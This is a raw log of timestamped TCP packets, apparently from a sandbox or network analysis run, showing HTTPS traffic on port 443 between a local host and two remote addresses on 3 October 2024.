Oct 3, 2024 10:42:04.359150887 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.359175920 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.359195948 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.364140987 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.364160061 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.364214897 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.364224911 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.364355087 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.366945982 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.366981030 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.366998911 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.367005110 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.367038012 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.367043018 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.367177963 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.367300034 CEST	50220	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.367317915 CEST	443	50220	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.369868994 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.369900942 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.369955063 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.369961977 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.370003939 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.375956059 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.375974894 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.376002073 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.376010895 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.376024008 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.376077890 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.376087904 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.376157999 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.377477884 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.377505064 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.377542019 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.377549887 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.377583027 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.377599001 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.378263950 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.378310919 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.378315926 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.378340960 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.378384113 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.378496885 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.378504992 CEST	443	50223	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.378531933 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.378560066 CEST	50223	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.379257917 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.379275084 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.379333019 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.379342079 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.379359007 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.379410028 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.380894899 CEST	50222	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.380911112 CEST	443	50222	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.381114006 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.381145954 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.381181002 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.381187916 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.381232023 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.388139963 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.388166904 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.388211012 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.388216972 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.388248920 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.388267040 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.494210958 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.494272947 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.494296074 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.494309902 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.494339943 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.494354963 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.497682095 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.497730017 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.497772932 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.497780085 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.497812986 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.497832060 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.499946117 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.500014067 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.500020027 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.500081062 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.500129938 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.500173092 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.500627041 CEST	50221	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.500643015 CEST	443	50221	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.815504074 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.815907955 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.815932989 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.816673994 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.816844940 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.816859961 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.816994905 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.817064047 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.817444086 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.817495108 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.817683935 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.817692041 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.817997932 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.818051100 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.818351984 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.818453074 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.818458080 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.818528891 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.818792105 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.818955898 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.818964005 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.819524050 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.819802046 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.819864988 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.819880962 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.831999063 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.832257032 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.832264900 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.832320929 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.832604885 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.832948923 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.833000898 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.833070040 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.833075047 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.833075047 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.833621979 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.833909988 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.833978891 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.834043980 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.834058046 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.834438086 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.834444046 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.835491896 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.835578918 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.835961103 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.836019039 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.836070061 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.867396116 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.869177103 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.869184017 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.869196892 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.869198084 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.875392914 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:04.879395008 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.883390903 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.884175062 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:04.884176016 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.884185076 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:04.916172981 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:04.932163954 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.088114977 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.089145899 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.089165926 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.089174032 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.089243889 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.089272022 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.089338064 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.089345932 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.089375019 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.090557098 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.090615034 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.098097086 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.098109961 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.098145008 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.098159075 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.098170042 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.098181963 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.098191977 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.098203897 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.098211050 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.098220110 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.098241091 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.101056099 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.101070881 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.101083994 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.101154089 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.101171017 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.101191998 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.101241112 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.101241112 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.117881060 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.122200012 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.122226954 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.122239113 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.122311115 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.122322083 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125468969 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125478029 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125516891 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125534058 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125543118 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125643015 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.125646114 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.125646114 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.125646114 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.125674963 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125691891 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.125948906 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.148741961 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.155693054 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:05.155713081 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:05.155805111 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:05.155819893 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.155952930 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.167411089 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.219909906 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.219919920 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.220063925 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.220082998 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.220103025 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.220118046 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.220129967 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.220138073 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.220161915 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.231441975 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.231451035 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.231508017 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.231540918 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.231544971 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.231594086 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.231594086 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.239624023 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.239639044 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.239665985 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.239675045 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.239763021 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.239763021 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.239783049 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.242063046 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.253470898 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.253560066 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.253664970 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.253664970 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.432836056 CEST	50229	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.432862997 CEST	443	50229	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:05.435730934 CEST	50224	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.435806036 CEST	443	50224	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.436362028 CEST	50226	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.436369896 CEST	443	50226	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.436850071 CEST	50225	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.436856031 CEST	443	50225	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.437242985 CEST	50228	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.437284946 CEST	443	50228	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.437663078 CEST	50227	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.437678099 CEST	443	50227	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.443423033 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.443454981 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.443523884 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.444591999 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.444642067 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.444845915 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.445395947 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.445410013 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.445952892 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:05.445986986 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:05.460228920 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.460258961 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:05.460452080 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.461483002 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.461494923 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:05.466360092 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.466397047 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:05.466453075 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.466701984 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:05.466718912 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.276262045 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.276495934 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.276535988 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.277738094 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.278151989 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.278346062 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.278443098 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.280953884 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.281198978 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.281210899 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.281476974 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.281662941 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.281682014 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.282028913 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.282294989 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.282473087 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.282541990 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.282596111 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.282938004 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.283088923 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.283111095 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.289509058 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.289700985 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.289721012 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.290061951 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.290553093 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.290618896 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.290693045 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.323405981 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.327394962 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.327410936 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.330794096 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.330859900 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.330878973 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.566461086 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.591325045 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.591425896 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.591465950 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.591511965 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.591563940 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.591599941 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.591622114 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.591636896 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.591690063 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.592556000 CEST	50233	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.592591047 CEST	443	50233	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.599468946 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.599497080 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.599518061 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.599526882 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.599544048 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.599560022 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.599570990 CEST	443	50230	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.599596977 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.599596977 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.599626064 CEST	50230	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.604718924 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.604736090 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.604798079 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.604814053 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.604861975 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.613073111 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.613097906 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.613121033 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.613132000 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.613142014 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.613152027 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.613171101 CEST	443	50232	18.245.86.14	192.168.2.4
Oct 3, 2024 10:42:06.613184929 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.613214970 CEST	50232	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:42:06.660737991 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.660764933 CEST	443	50231	18.245.86.87	192.168.2.4
Oct 3, 2024 10:42:06.660824060 CEST	50231	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:42:06.660832882 CEST	443	50231	18.245.86.87	192.168.2.4
